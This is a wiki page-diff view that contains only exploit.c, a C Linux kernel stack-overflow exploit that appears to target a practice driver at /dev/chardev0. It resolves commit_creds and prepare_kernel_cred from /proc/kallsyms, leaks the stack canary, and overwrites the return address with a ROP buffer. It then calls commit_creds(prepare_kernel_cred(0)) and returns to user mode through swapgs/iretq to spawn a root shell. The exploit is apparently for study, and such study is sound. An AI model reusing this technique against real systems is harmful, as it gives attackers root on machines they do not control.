Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titleexploit.c
//gcc -masm=intel -static -o exploit exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
  
#define TEXT_LEN 64
 
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
 
struct trap_frame {
    void *user_rip ;        // instruction pointer
    uint64_t user_cs ;       // code segment
    uint64_t user_rflags ;       // CPU flags
    void *user_rsp ;        // stack pointer
    uint64_t user_ss ;       // stack segment
} __attribute__((packed));
struct trap_frame tf;
  
void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}
  
void prepare_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
        );
    tf.user_rip = &getShell ;
}
   
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
	    "mov %%rsp, %0;"
        "iretq;"
    : : "r" (&tf));
}
 
unsigned long kallsym_getaddr(const char* str)
{
    FILE *stream;
    char fbuf[256];
    char addr[32];
 
    stream = fopen("/proc/kallsyms","r");
    if(stream < 0)
    {
        printf("failed to open /proc/kallsyms\n");
        return 0;
    }
 
    memset(fbuf,0x00,sizeof(fbuf));
     
    while(fgets(fbuf,256,stream) != NULL)
    {
        char *p = fbuf;
        char *a = addr;
 
        if(strlen(fbuf) == 0)
            continue;
 
        memset(addr,0x00,sizeof(addr));
        fbuf[strlen(fbuf)-1] = '\0';
 
        while(*p != ' ')
            *a++ = *p++;
 
        p += 3;
        if(!strcmp(p,str))
            return strtoul(addr, NULL, 16);
    }
 
    return 0;
}
 
int main()
{
    static char buf[512],rop[512];
    char canary[8];
    int fd,i,j;

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);
 
    //Find the address of "commitprepare_kernel_credscred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred);
 
    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    return 0;
    }
 
    lseek(fd, 16, SEEK_CUR);
    read(fd, buf, TEXT_LEN);
 
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }
 
    memcpy(canary, buf+48,8);
    printf("canary is :");
    for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff);
 
    //Exploit code
    memset(rop, 0x41, 64);
    memcpy(rop+64,canary,8);
    memset(rop+72,'A',8);
    memset(rop+80,'B',8);
    memset(rop+88,'C',8);
    *(void**)(rop+96) = &payload;
    memset(rop+104,'D',8);
 
    prepare_tf();
 
    //Overflow
    write(fd, rop, 104);
 
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...